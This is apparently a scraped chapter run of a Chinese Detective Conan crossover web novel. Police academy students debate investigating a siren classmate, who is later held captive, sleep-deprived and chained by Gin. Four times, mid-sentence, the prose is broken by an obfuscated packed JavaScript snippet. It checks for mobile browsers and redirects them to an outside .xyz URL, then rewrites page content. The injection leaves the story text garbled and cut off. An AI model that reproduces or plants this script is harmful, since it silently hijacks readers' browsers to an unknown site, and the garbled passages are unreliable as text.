“除了必要的教育,我从来没对你动过手——你觉得我是中看不中的纸老虎,是不是?” * “所以,我们现在应该怎么办?” 时间倒回到五个警校生在毛利侦探事务所,结伴去追查“黑羽彻也”下落的时候。 萩原研二和松田阵平把工藤新一送回了家,诸伏景光和降谷零也从帝丹高中回来,五人在毛利侦探事务所门前的十字路口汇合。 “新任插班生鸢尾弥生”就是两年前在“黑羽盗一意外亡故”事件中失踪的“黑羽彻也”已经是板上钉钉的事实。 伊达航叼着牙签:“所以现在,我们是再去一趟毛利侦探事务所,把这件事全须全尾的追查明白,还是就此作罢,当什么都没发生过?” 不说警校生,即使是搜查一课的在职警察,再没有申请到搜查令的前提下,也是不可以做这种过线的调查行为的——更何况调查的是另一个已经在职两年的同僚。 “于公,我们在非法调查,于私,我们在侵犯鸢尾的隐私。” “‘鸢尾弥生’肯定是有自己在隐瞒的东西,说不定只要临门一脚,我们就能捅破这层薄薄的窗户纸,关键在于我们是否应该继续推进下去?” 这是个好问题。 “要不我们投票表决吧?” “同意。”X4 话毕,五人就又陷入了沉静当中,连一向喜欢活跃气氛的萩原研二,还有温柔待人的诸伏景光都是一张严肃的表情。 更不用说是“日常表情”就是严肃挂的降谷零,还有天天顶着张恶人脸的松田阵平了。 谁都没办法先拿出注意。 “我觉得……事情可能已经严重到要先上车后补票的必要。” 降谷零双手抱胸,阴沉的脸色浮现出凝重的神色:“鸢尾……黑羽很危险,我和hiro整理的笔记,你们应该已经看过了,非常危险。” 有些话一旦说出口,后面的就会变得很容易:“单凭我们看到的部分,黑羽当时才十七岁,就已经出现了袖手旁观,并且在明知道会导致恶劣后果的前提下,言语诱导对方的进行霸凌的行为。” 同样经历过“霸凌”和“排斥”的降谷零对这一段经历相当敏感,好像是在黑羽身上看见自己学生时期,对自己恶语相向的那一张张脸,甚至黑羽彻也的行为更加的严重。 他甚至不是霸凌相关的任何一方,只是凭借着纯粹的恶意,在那个女生的人生重大转折点上推波助澜,临门一脚,目送她踩进了万劫不复的深渊。 “我不夸张地说,如果他是人的话,很可能已经会因为‘高功能反社会人格’被公安一票否决了,更何况他是塞壬——本身的种族特性就是会用言语诱惑人类。” 剩下太刻薄犀利的话降谷零不想背着对方说,但总而言之,他的态度非常明确:“他会成为隐埋在整个系统中的炸弹,直到有一天被某个固定的指令唤醒,然后送所有人去见上帝。” “我坚决支持对黑羽刨根问底,并且迫不容缓。” 伊达航拍手作结:“好的,现在支持一票。” “异议!” 松田阵平食指拉下自己的墨镜,一双凫青色的眼睛盯着降谷零:“我的观点恰恰相反,我坚决反对对黑羽的追查行为。” “首先,我不认为他本身不是人,和拥有高功能反社会人格有什么必然的联系, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“OK,那么现在反对一票,1:1打平。” 诸伏景光有些犹豫,先是看了幼驯染一眼,然后再看了旁边听了松田阵平发言之后又开始笑盈盈盯着一张笑脸的萩原研二。 对方还真是无时不刻不充分利用着自己美貌的优势,一双下垂眼看起来不论说什么都很真诚:“拜托了小诸伏,让我最后一个说吧?” 好吧。 “我也投反对票。” 诸伏景光抿了抿嘴角:“理由和松田不一样,在我们怀疑黑羽之前,他能拿到公安的身份,肯定已经是被公安怀疑过了。” 诸伏家中就有一个能力超群,年轻和诸伏景光相差也不太大,可以做平等交流的在职警察——长野县号称“孔明”的诸伏高明,诸伏景光是最对飞鸟彻羽的“警察身份”有认同感的。 “我不认为我们五个警校生,短短不到半月的相处,就比一众在自己岗位上做了几年甚至十几年几十年的老警察更有经验,可以推翻他们两年的工作结果——”诸伏景光后知后觉,自己这样的表达好像有点太尖锐了,连忙给自己打圆场,“我也不是说我们作为警校生就肯定比不过前辈的能力,不能质疑前辈,但最关键的是我们没有证据。” “而黑羽确实是在我们能看见的范围内,他救过人,对得起自己警察的身份,虽然方式很奇怪,还把萩原也送进了医院,但是他后来也道歉和补偿了,也没有酿成大错……” 诸伏景光越说越小声,怎么越说感觉黑羽越缺德啊? 更别说少年在此之前还带他见了已经故去多年的诸伏夫妇,并且全程没有干预,在外面帮自己守门——没有申请擅自挪动证物可是非常严重的违纪行为,但是如果实话实说,“想要见最后一面”这种理由是绝对不可能被通过的。 “我更倾向于,黑羽确实有一系列不太妥当的行为,但是这是因为他本身生理结构导致的差异,他很难理解人类的思路和情感,但本质上他能在工位上做了两年,一定是通过了相关考核的。” “所以我不赞同在没有做出过激行为,也没有证据的情况下,窥探他的隐私。” “呐呐,现在轮到我啦?” 萩原研二揽住降谷零的脖子,整个人挂在他身上:“我算是支持小降谷吧。” “我的理由可能和大家差别很大,就是说有没有可能,其实黑羽在见到我们之前,其实大家的档案也好,性格这一类的东西,其实是他完全有机会看到的?” 最有洞察力的萩原研二第一个发现了诡异之处:“他在认识我们之前,其实是在相当程度上对我们都有了解的。” “他直到小降谷和小诸伏之前有去过帝丹高中宣讲,所以很大可能会轻车熟路由你们两个负责去调查他高中时期的事情——然后触发到小降谷对‘霸凌’相关更敏感的部分。” “剩下的三个人,其实谁去都影响不大,最关键的是要小阵平去亲眼见证他一整墙的证书之类,亲眼所见和后来转述肯定又不一样——然后由小阵平来共情他恒星陨落的那一面。” “就会造成像我们现在这样,古怪的僵持局面,不论最后是选择了追查到底,还是就此止步,不坚定选择追查的话,埋在深处的秘密就很难被挖掘出来吧。” “如果这样思考,其实不论我们最终是做出什么样的选择,小黑羽已经赢了?” “那个小侦探应该不算证据,其他的话……” 萩原研二露出一个超级灿烂的笑容: “没有!” “萩原你这家伙,是故意在最后选让我为难的吧……” 伊达航也不禁有些头大:“还真的是相当棘手的决定。” 但是不论再艰难的决策,作为班长最终也都是要必须拿出一个结果来的。 “首先是降谷,真不愧是首席的严格要求啊。” 伊达航拿下了嘴里用来“看起来很可靠”的牙签,“做错了事情就应该被矫正,并且为自己的行为赎罪,我完全认同这一点。” “但是我想,对于黑羽这种情况特殊,并且尚未成年的个例来说,他更需要的是正确引导,这也是我们作为警察的责任和义务,能挽救多少像他这样的未成年,影响到我们之后二十年,甚至三十年的社会治安,所以至少在现在他还没有做出什么危险行为的时候,对他宽容一些,怎么样?” “我明白,班长,”降谷零点点头,“是我有点激动和严苛了,有秘密并且没同理心不代表是罪犯。” “然后是松田,疑罪从无没问题,但是不代表十七岁的黑羽是个好人,十九岁的黑羽也不会改变。” “但是十七岁的黑羽,和遭遇了家庭变故之后十九岁的黑羽究竟有多少变化,谁也不能保证,尤其是第二次失去监护人会不会对他造成不可逆转的二次重大伤害——黑羽夫妇都是人类,肯定不会是他的第一任监护人” “了解。” “最后……诸伏和萩原,我的考虑结果是,关于黑羽身世相关的探究到此为止,暂且相信他,在这过程中对他的行为做出纠正和引导,直到他做出有违职业和道德的行为——那我们就送他去吃牢饭。” “这样的处理方式,可以吗?” “当然。” 既然事情已经有了解决的思路,接下来就是…… “话说回来,我们是不是该给黑羽道个歉之类的,”降谷零皱着脸,开始纠结那个超级难相处的臭小鬼可能会喜欢什么,“他肯定迟早会知道我们调查他这件事,不管一开始是有意还是无意的,这种事情做出来总要和当事人诚心认错的吧?” “哎哟!” 萩原研二一手握拳,砸在了自己的手心:“小阵平是不是还有什么话想给小黑羽说?!” 对哦,刚刚在堂本弦也那里想好的事情,差点被打岔忘过去了! 这种事情,一定要抢占先机才可以,不然排在后面的家伙就只能另约时间了。 萩原研二和松田阵平这一对幼驯染不用对视,就知道对方心里在打着什么样的鬼主意,一拍即合,就决定抢跑: “既然如此,那我和小阵平/hagi就先走一步了!” 伊达航、降谷零、诸伏景光:……? 一直跑到确定被甩在身后的那三个没有追上来的可能,两人才放慢脚步,慢吞吞走着恢复体力。 绝对不是因为萩原研二一边跑一边笑,所以岔气了的缘故。 松田阵平注意到了萩原研二的眼神,不由自主地打了一个寒战:“hagi,你干嘛这么看着我,好恶心。” 萩原研二挂在幼驯染身上,像是JK一样露出一个超级做作的“崇拜”表情:“小阵平,好帅哦~” “混蛋!你在胡说什么啊?!” 在松田阵平的铁拳制裁下,不知道吃错了什么药的萩原研二光速恢复了正常。 “不过说实话,小阵平刚刚还真的是有惊讶到我——明明是在什么时候都只知道往前冲,只有油门没有刹车的类型欸。” “啰嗦!” 松田阵平不太自在地扭过脸,调整了一下自己的墨镜。 “我们作为警察,是手握权力的职业,警察也好,医生、律师这种,也许随便一个不算是错误的纰漏,就会改变一个人,甚至是一个家庭的命运。所以在做选择的时候,一定要慎重再慎重。” “身负这种特权,就一定要有这种觉悟才可以。” 真是的,小阵平突然这么帅,hagi好像突然找到当警察的理由了。 “呐?” 萩原研二突然想到了什么,很兴奋地挂住幼驯染的脖子,摇来摇去:“小阵平其实知道,hagi一开始想做警察不是因为什么正义什么憧憬之类的,单纯就是因为想找个铁饭碗,外加小阵平也要一起去,所以干脆一起好了,这样的理由对吧?” “知道。” “但是刚刚hagi就在想哦,你说从我们现在23岁开始做起,一——直——做到大家都退休变成老头的那种时候,能够救下了的人,会不会比因为各种各样原因没就下来的人要多呢?” “会不会等到变成老头了之后,和年轻的警校生再提起我们的时候,就是那样!” 萩原研二突然学着自己小时候和松田阵平一起看的动画片里面的样子,比了个又帅气又尴尬的pose:“传奇警察萩原研二!还有松田阵平!警视厅的不败神话!” 还好现在已经是晚上了,街上没什么人,所以理所应当的也没人看见有两个警校生在大街上犯蠢。 虽然有没有人围观,都不影响松田阵平替萩原研二尴尬: “丢脸死了笨蛋!” 好凶哦小阵平QvQ 萩原研二状态来得快去得也快,上一秒还在cose动漫角色,下一秒就又变回去正正常常的警校生:“不过这种肯定也就是说说而已啦,就算是警察生涯中侦破所有的案子,抓到所有的凶手已经是超——级——厉害的警察了,警察也是会有极限的。” “能保持在挽救的人大于没就下来的人的数量,就已经很了不起了,哪怕就只是救下了一个人,那我们工作就是有意义的。” “那就先从小黑羽开始咯。” 萩原研二做了个鬼脸,趁着松田阵平还没反应过来,撒腿就跑:“小阵平快来追我!” 一不留神就被甩在原地的小卷毛傻眼了,连忙拔腿就追。 “没有竞技精神!抢跑啊!” 82.来点捧杀好了 鸢尾的失踪时间比大家预想中的还要久,宣称的结果是,因为决定不再做警察所以选择退学了。 这在警校中其实不算罕见,每年都有考上了警校但是又发现自己不适合这份工作,选择中途退出。 很正常的事情。 ……算什么啊? 失踪前的最后一次对话,也是在吵架兼冷战。 降谷零后来又去了所有飞鸟彻羽可能在的地方,不存在的“警视厅异常处理课”,不存在的“杯户医院顶层”,不存在的“秘密警校宿舍”…… 就像是他来时不必征求别人的意见,离开的时候也是不声不响,教室里那张桌椅又重新空了出来,好像从来没有来过。 除了那张姗姗来迟的成绩单。 “降谷那家伙没问题吗?” 松田阵平嚼着班长分的饼干,眼见着某个精力旺盛到能和自己半夜约架的家伙在桌子上瘫了两节课:“看起来完全被成绩打击到心态崩了的样子。” “小鸢尾考了30分。” “哈?!” 松田阵平差点被噎死,感觉就降谷那种卷王的程度,这辈子都没见过三十分的考卷。 “……是平均每门考了30,还是总共考了30?” 虽然不论是哪个选项都很离谱。 伊达航也是一脸萎靡不振的样子:“每门都正正好好考了30。” 降谷零总“我去教官办公室看看。” 鬼冢教官现在提起那个名字都觉得头疼,一脸的晦气: “你自己看吧。” 前面的客观部分都没错,翻到主观题部分……火柴人大战??? 平心而论,笔者画工不错,结合题意不用另外的文字说明都能明白表达的意思: 只见右手持枪的火柴人警察先是击毙了人质,然后再和左利手歹徒持枪械斗,抢了路边的车双双化身马路杀手……再后面没有了,答题面积有限,画不完的部分就只好用省略号代替。 教官显然是每一道都认真的看过,然后很客观地给每道题都写了个零蛋,并在最末尾留言“抽空来我办公室!” 力透纸背,足见当事人的愤怒。 教官还是脾气太好了,降谷零如是想道,要是让我来批卷,有人在上面画漫画的话,我一定会给他零蛋。 也许是被我们五个气得,阈值都高了。 脾气很好的鬼冢教官翻出手边的一个纸质文件袋递给降谷零:“哦,对了,一会你回去顺便跑一趟柚木班,把这个递给四方雄。” “上边的颁奖下来了,让他准备准备,明天晨训的时候做个三五分钟的小演讲。” 降谷零算算时间,心底又涌现出来些许不祥的预感。 果不其然,四方同学接到表彰之后并不开心,顶着一张紫青肿胀的脸,看起来像是想要把手里的东西丢到降谷零脸上,但不知道处于什么原因最后还是忍住了。 “你这样很有意思?!耀武扬威,耍我很好玩吗?!” 一声中气十足的怒吼惊飞了窗边的乌鸦。 四方雄本来以为只是一件普普通通的约球,自己打算下点小手段让鸢尾难堪也好,趁机打击报复也罢——但谁能想到只是一件小小的校园冲突,还能上升到“捧杀”的程度? “抱歉啊,四方,临时有事现在来不了了,等我几分钟。” “不好意思不好意思,现在马上飞来!” 原本一起约好的朋友全都很“巧合”的迟到了,但好在鸢尾也没来,所以带着球的四方雄决定在约定地点等。 几个人高马大的混混大概也是想要在这里打球,走近几步,对着自己大喊:“喂——!你是四方雄吗?” “是,我是。” 四方雄不明所以,下意识承认。 “就是他,没认错。” 下一瞬间,一颗沉甸甸的篮球直直的朝着他的门面砸来,几个不怀好意的家伙蜂拥而上,一点招呼都不打,就开启了异常围殴,没下重手,反而拳拳往脸上招呼。 ……不严重,但是很难看。 飞鸟彻羽在一旁看着差不多了,才慢吞吞地打了报警电话,捏出紧张无措的语气: “这里是八王子路旁边的篮球场,我的同学现在和七个人起了冲突,现在打起来了,你们快点来啊!” 接到报警电话的巡警来得很及时,打人的被打的还有报警的总共八个人分了四辆警车,一起被打包送进了局子。 “说说看吧,因为什么原因打架?” 除了被打的四方雄,其他所有人全部统一口径,表示是因为他们七个想要打球的时候和鸢尾起了冲突,想要揍他一顿的时候四方雄见义勇为。 始作俑者真诚地对他表示了感谢,寻衅滋事者认错态度良好并且愿意支付他的所有医药费,孤立无援的四方雄还能说什么呢? 辩解说是因为自己造别人的谣才在外面约架,现在偷鸡不成蚀把米反而被打了一顿? 几个打人的家伙之前早就有不少类似的前科,所有人口供一致且没有监控的情况下事情解决的很迅速,只是四方雄“见义勇为”的表彰流程需要一点时间。 被救下的少年申请到了一个和“英雄”单独相处的时间,美其名曰要帮他处理伤口: “其实有件事情,我一直百思不得其解,所以希望你可以帮忙答疑解惑。” 少年顶着一张笑盈盈的脸,手里的棉签沾满了酒精,用力怼在他脸上的伤口,疼得四方龇牙咧嘴。 “在你的认知里面,‘鸢尾弥生’是有背景的草包,被安排插班挤掉了你的位置,所以你一直明里暗里的针对他,想要让鸠占鹊巢的家伙滚蛋。” “但是——” 飞鸟彻羽把用过的脏棉签丢进垃圾桶,拧开手边的酒精瓶全都泼到他脸上,帮没长脑子的警校生清醒清醒,以后少做和世界为敌的蠢梦。 “既然我真的这么有权力,你就不担心我再动用手里面的关系,给你点颜色看看?” “不敢惹松田阵平,但是敢招惹我——意外地胆子很大嘛。” 脑子还很不好使。 口袋里面的手机叮咚作响,四方雄连忙摸出来,点开图标正在闪烁的新邮件,快速浏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跟过来的小乌鸦明显被吓了一跳,在空中盘桓了一小会,落到降谷零面前,想要去探寻他的呼吸,果不其然被屏息的坏心人类骗了过去。 Asuka让我监视的人类突然死掉了怎么办?! 小乌鸦顿时一惊,连忙丢下地下的“尸体”,扑扇着翅膀,就要找自己的主人报告。 却没想到地上佯装被害的降谷零悄悄爬了起来,循着小乌鸦的飞行轨迹,迅速又隐秘地远远坠在后面。 “基本上我所在周围的所有乌鸦,都是我的眼睛。” 想骗过塞壬不容易,但是人类想要骗过一只乌鸦也没那么难。 降谷零跟着它,拐过小巷,最后停到了一栋华丽的别墅面前: 米花町2丁目21番地。 ——看来这就是某个家伙的秘密基地了。 降谷零蹑手蹑脚地敲开了锁着的窗户,翻了进去,绕到宽敞的一楼客厅,果不其然看见了某个横着尾巴躺在沙发上的“失踪人员”。 “鸢尾?” 83.一边一个卧底 除了躺在沙发上挂水的塞壬,房间里面再没有第二个人。 环顾四周,欧式的装修风格,一直有人在居住使用的样子,不像是个临时的落脚点,反而像是个家。 降谷零当然不会因此放松警惕,第一反应就是掏出手机报警……没有信号。 排除掉“飞鸟彻羽闲的没事找自己消遣”的可能,降谷零在“现在立刻离开去搬救兵”和“相信飞鸟彻羽的能力”之间短暂的踌躇了了一会,最后还是选择了后者。 蹑手蹑脚地将窗户合上,转到宽大的沙发面前,这段时间叫所有人牵肠挂肚的家伙病怏怏的,本就白皙的脸现在更是连半分血色都欠奉,即使是自己站在身前也没有什么反应,安静的像是一座大理石雕像。 针头被胶带贴在手背上,看起来已经挂了不止一瓶的样子,伸手摸上去半条小臂都被药水灌得发凉,被青年手心滚烫的温度灼得难受,睫毛微不可察得颤了颤,降谷零又伸手摸上了他的额头,不出意外地在发低烧。 怎么办啊?完全没有头绪……才怪! 顺着砰砰的心跳声,降谷零猛地俯下身子,和藏在沙发下面的黑羽快斗对上视线,像只小黑猫一样的男孩被吓了一跳,后脑勺磕在沙发底端,发出一声令人牙酸的闷响。 私闯民宅的“歹徒”露出一个自以为很友好的笑容:“小朋友,你怎么藏在这里?” 但是这个孩子灵活地超出想象,很快就反应了过来,从沙发的另外一边蹿了出去,扭头就往楼上跑。 诱饵吗? 眼看着炸毛小孩一个急转弯拐进了右手边的房间,降谷零紧跟其上。 脚边拉起来的绳子分毫不差,但是降谷零的反应更是挑不出错:先是顺势向前一滚卸掉冲力,躲开直击门面的扑克,倒下的瞬间先一步伸手抹花了地上早就画好的魔法阵,利落地站起来之后,还顺手关上了房门。 总共四个孩子,三男一女: 女孩一头红发,手里还握着款式夸张的魔杖,显然最后的术阵是出自她的手笔;离自己最近的卷发绿眼睛龇着小虎牙手里还捏着一头绳子;剩下的两个看起来好像是双胞胎,除了发型一模一样,炸着头发的小男孩还在喘着粗气,另外一个手里举着扑克枪的孩子一脸愕然: “降谷……哥?” 降谷零没想到能在这种情况下和工藤新一再见面,心里第一反应反而是:能证明工藤新一和鸢尾弥生私交甚笃的话,这不就说明萩原的推论可能性更大了了吗? 在降谷零再三保证是误会之后,四个孩子挤在沙发旁边,除了工藤新一以外都对降谷零十分的戒备,隔在飞鸟彻羽和行踪可疑的大人中间,很警惕地盯着他。 尤其是最前面小炸毛蓝眼睛的男孩,百分之一万的不欢迎他。 “发烧时间长了会把身体烧坏……要不然我现在带他去医院?” 黑羽快斗:“不行!” 万一你想趁机把彻哥掳走怎么办? “……那要不然我现在先离开?” 黑羽快斗:“不行!” 万一你想要先去通风报信怎么办? 降谷零很识趣地远远坐在另一边的沙发上,给他们留出空间,看着他们凑在一起嘀嘀咕咕的小声商量。 飞鸟彻羽先是失踪了将近一个星期,回来之后又像现在这样昏迷了整整三天,检查身体之后发现的颈间乌青的掐痕,还有手腕的擦伤,胯部的枪伤……最重要的是周身紊乱的魔力,被世良的哥哥带回来的时候,黑羽快斗吓得心脏几乎都要停跳了。 他现在很紧张,不允许任何可能威胁到他安全的人靠近,生怕是歹徒趁着家里只有小孩要把飞鸟彻羽抢回去。 “红子,还有没有其他的魔法可以……” 小泉红子轻轻摇头:“Asuka的魔力影响下,所有的魔法都会很快失效,我只能现画现用。” 魔法的应用就是这样,只有势均力敌才有切磋的可能,魔力总量过于悬殊的话,弱势的一方想要调动魔力都会异常的艰难。 但是对方看起来也不可能在那里干等着她画完的样子。 工藤新一企图安抚朋友们紧张的情绪:“我之前见过一次降谷哥,他是旁边的警校生,彻哥也认识。” 黑羽快斗立马就不愿意了,瞪圆一双眼睛控诉胳膊肘往外拐的堂哥: 就算当时是好人,那万一之后又变坏了呢? 世良真纯忍不住总是抬眼偷瞄,被抓包了几次之后干脆大大方方地瞪着他看:“没关系,之前我已经通知了秀哥,他很快就能回来了,我们再稍微拖延一会。” * 赤井秀一收到消息的时候,正在友情客串《碟中谍(米花町版)》。 头顶针织帽的男人背着吉他包,藏匿在人群中,尽可能地清理干净自己经过留下的痕迹,手机上未署名的号码发来一长串感叹号。 ——世良那边出事了,可赤井这边也暂时脱不开身。 即使没能见到对方的长相,但是这么难缠的对手,让潜伏在东京,孤军奋战的赤井探员感到有些棘手。不仅仅是难缠这么简单,不论是车技,推理,射击准度,侦察与反侦察技术……每一样都不比自己差,甚至赤井秀一把自己带入到对方的位置上,也找不到比对方更可行的解决方法。 势均力敌的对手,如果不是飞鸟彻羽那边的情况刻不容缓,赤井秀一还真的很想继续这种角逐,直到区分出谁是更老练优秀的猎手,但现在显然还是飞鸟彻羽的安危更加重要。 赤井秀一和飞鸟彻羽的渊源最早可以追溯到他十七岁的时候。 他那时远赴美国正在读高二,课余时间拉手风琴养活自己,偶尔能接到来自玛丽女士的电话。 一贯雷厉风行的赤井玛丽罕见地有些犹豫:“秀一,你介不介意再有一个弟弟?” 赤井秀一怔了一下,那时候父亲完全断联已经过了两年,双亲工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年现在也没有消息,很可能情况不容乐观,赤井探员在此的任务是为了潜入组织,很难申请到FBI方面的助力,飞鸟彻羽联系不上也没办法作为外援,但不知道为什么对方也没有申请组织外援的意思。 也许囚禁Asuka是不方便被组织知情,对方私人的行为——这很正常,不论是作为珍稀物种还是作为香槟,飞鸟彻羽都有被私藏的价值。 赤井秀一起初是这么推断的,但是显然世良的短信证明是自己太自以为是:调虎离山的把戏,居然把自己也骗了过去。 之前仗着东京是飞鸟彻羽主场,他可以玩猫捉老鼠的游戏,耐心地等待着对方漏出破绽,但是现在顷刻之前形式反转,孤立无援的赤井秀一反而变得捉襟见肘了起来。 啧。 赤井探员调转方向,选择了一处还算不错的狙击位点,拉开背包开始组装狙击枪。 ——速战速决吧。 84.只能选一个 ……第几天了? 在长时间的强制清醒中开始逐渐失去时间感知,从最开始的听心跳计时,再到之后困到没有办法集中精力数数,最后疲惫到断片的大脑根本想不起来之前数到多少,飞鸟彻羽现在只想有人能干脆利落地给自己一个痛快。 随便怎么样都行,死掉也可以。 眼皮越来越沉,在主人根本没有的抵抗中轻轻合上……然后被刺激发出一声短促的惊叫。 “呜!” 琴酒非但不松手,反而五指轻轻收紧,将敏感的耳羽在手心中细细的摩梭着,随着主人的颤抖悄悄划着自己的手心,还有藏匿在羽毛和皮肤下滚烫鼓动着的血管,丰满浓密的耳羽一只手抓不住,五指缩紧的时候就从指缝间溢出来,在手心里细密的挣扎。 ——他当然有的是办法,在不动枪流血的情况下,得到自己想要的结果。 说实话这和真正的审讯相比根本不值一提,三天没合眼而已,但是虚弱的塞壬已经精疲力竭了,手腕上是更换的厚重的秘银镣铐,根本撬不开的款式,将两只手腕锁在胸前。起初还挣扎着留下了几条淤青和血痕,但现在飞鸟彻羽已经没了和他作对的力气,干脆瘫在那里装死,想睡也不能睡。 少年困得干涩的眼睛没有聚焦,不知道落在了何处,嘴里呢喃着吐出些许破碎的音节,让琴酒一听就黑了脸: “你再说一遍?” 再说就再说,飞鸟彻羽对琴酒反正没什么期待,干脆就破罐子破摔,话捡着难听的说:“我说,和阿阵见面真是个错误的决定。” 飞鸟彻羽失神的眼睛随便乱飘,反正就是不看琴酒的脸——塞壬可太擅长怎么调动情绪激怒人类,当然,尤其擅长激怒琴酒。 更何况这也是实话,就算见面那又怎么样呢? 反正不论怎样,阿阵都不会满意的: 要是阿阵愿意背叛组织他早就跑了,装作没看见把飞鸟彻羽放走肯定更不可能。 抓回组织继续当香槟也不合适,两个镶合体凑在一起,谁吃谁还不一定呢。 至于塞回实验室当血包,上次飞鸟彻羽跑的时候才十岁,扬了组织两个实验室。 难不成私下关起来或者干脆杀了? ——核心矛盾没有办法解决,就算是见了面也只有撕破脸这一种情况。 那还是不如不见面的好,早知道当时一发现阿阵在附近,就应该直接丢下所有人跑掉的。 ……那是为什么没跑呢? 飞鸟彻羽也没什么不好承认的,他确实很想他。 真的很累,被折腾得头疼,没办法思考也没心情说话,忍不住想合上眼睛,然后又被琴酒弄醒,双方就这样僵持了下去。 琴酒很有耐心,但是飞鸟彻羽也是毫不逊色的执拗,这场对峙直到少年体力彻底告罄昏迷才宣布落下帷幕。男人拧了一圈飞鸟彻羽腰间的软肉,手下的身体完全没有反应,这才确定是真晕了。 接下来应该怎么做? 在BOSS那里见识过的,身体的支配者完全失去意识之后,就会有其他的组件接管身体,飞鸟彻羽割舍不了镶合体带来的力量,那就由自己替他做决定。 失去心脏的,生物本能性的死亡恐惧没有任何办法抑制,就像是飞鸟彻羽一心想死在被他掐住脖子也会忍不住地挣扎,而秘银做的刀身不论是多强大的恢复能力都无济于事。 锋利的匕首隔着一层皮肉,抵住跳动的心脏,琴酒手腕用力……被另一只手掌攥住了刀身。 乌黑,有力,覆盖着整齐的鳞片,粗大的指关节还有尖锐的指甲——绝对不应该来自飞鸟彻羽的身体,现在却从他的翅膀中探出来,然后将半边匕首捏的粉碎。 而属于飞鸟彻羽自己的那双素白的手攥住琴酒胸前的衣料,整个身体贴上前,巨大的翅膀环住他的身体让他无处可退,独属于塞壬的锋利牙齿含住了人类柔软的喉管,即使没有办法动用魔法,只消齿间用力,组织叫人闻风丧胆的Top killer就要在这里交代了性命。 琴酒确信自己的鼓膜没有震动,但是他也确实听见了耳畔此起彼伏的叫嚣声: 杀了他。 他想杀我们,所以去死吧。 被利齿抵住要害的滋味不好受,而琴酒当然知道该怎样解决。一手紧紧环住飞鸟彻羽的腰防止他挣脱,另一只手握住塞壬纤细的后颈把他整个提起来摁在自己的脖子上: “第一颗还是第三颗?” 飞鸟彻羽不会伤害他的,琴酒坚信这一点,就像是相信手里的波莱塔不会从反方向打出子弹击中自己一样。 果不其然,短暂失去意识的塞壬被熟悉的嗓音唤醒,惊觉自己刚刚干了什么之后一面挣扎地夺回身体的控制权,一面努力推开琴酒——但是显然在场的只有自己在为这件事做努力。 冷酷的杀手不忘逼问自己想要的答案:“回答我的问题,是第一颗还是第三颗?” 飞鸟彻羽是真慌了,隐隐约约感觉自己嘴里有股新鲜的血腥味,不知道是错觉还是真的,反应了一会才明白过来,他是在问自己吃了第一颗泪痣的约定对象还是第三颗。 “都有!第一颗和第三颗,还有一点别的!” 比如外守尤里之类的。 琴酒得了自己想要的答案,双手一松,飞鸟彻羽就摔在地上,往后退缩着团进了墙角,用翅膀遮住自己怪异的身体,于是琴酒就和翅膀上惊慌的眼睛对视。 明显不是来自于同一个主人。 他都看见了,阿阵都看见了! 飞鸟彻羽一直以来将其他组件压制的很好,偶尔几次暴动的时候,面对着镜中的自己都觉得恶心,太多的眼睛密密麻麻的在身上睁开,翅膀更是重灾区,飞鸟彻羽叫得上他们每一个的名字。 好丑。 所以要穿从头裹到尾的衣服,把全身都藏起来,不能被别人看见一点。 琴酒一直听着耳畔痛苦的喘息声慢慢平息,肉眼看得见的部分眼睛也都消了下去,看样子是终于平复下来,才重新开口: “让他们滚。” 谁想不开疯了都不会想要去当镶合体的,天知道飞鸟彻羽究竟是先天遗传的神经病,还是后天因素导致的神经病。 琴酒倾向于两者兼有:因为依照老克里斯蒂安和玛格丽特的风评,以及飞鸟彻羽刚遇见自己时候的表现来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765628|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他明显是前者;而是随着九年时间没见,飞鸟彻羽脑回路抽筋的症状非但没有半点好转,反而愈演愈烈,也证明了性状表现受遗传和环境两方面的影响。 飞鸟彻羽被他这么折腾也起了点脾气,是琴酒最讨厌的虚伪和神秘主义的调调,带点咏叹调似的阴阳感:“想要剪塞壬的翅膀,阿阵以为自己是缪斯女神吗?” “他们想杀我,所以让他们……” “出去!” 飞鸟彻羽真的有点破防了,从来都是自己对着别人颐指气使的份,凭什么阿阵就可以这样理所应当的要求我? 把手边能摸得到的小东西全都一股脑地丢过去,还不忘用耳羽擦擦刚刚被怒吼带出来的眼泪。 小时候养成的爱掉眼泪的习惯,长大之后怎么也改不了,一激动就像泄了洪的水坝。 “阿阵不过就是仗着……” 仗着什么呢? 飞鸟彻羽又不想说了,和阿阵说这么多反正也没意思,窝成一团擦怎么也弄不干的眼泪,精神和身体上的疲惫加上情绪短时间内大起大落,流泪更是消耗体力,塞壬很快就缩在墙角睡了过去。 琴酒听着轻缓的呼吸声,解开手铐涂药,取来热毛巾擦干净脸,指挥手套将房间内的痕迹都清理干净,把飞鸟彻羽打包塞进了车后排,转移到了另一个安全屋。 把飞鸟彻羽放在完全没有使用痕迹的床单上,琴酒想了想还是找来另一条尺寸合适的锁链,扣住塞壬最细的那圈尾巴,另一头系在床腿上。 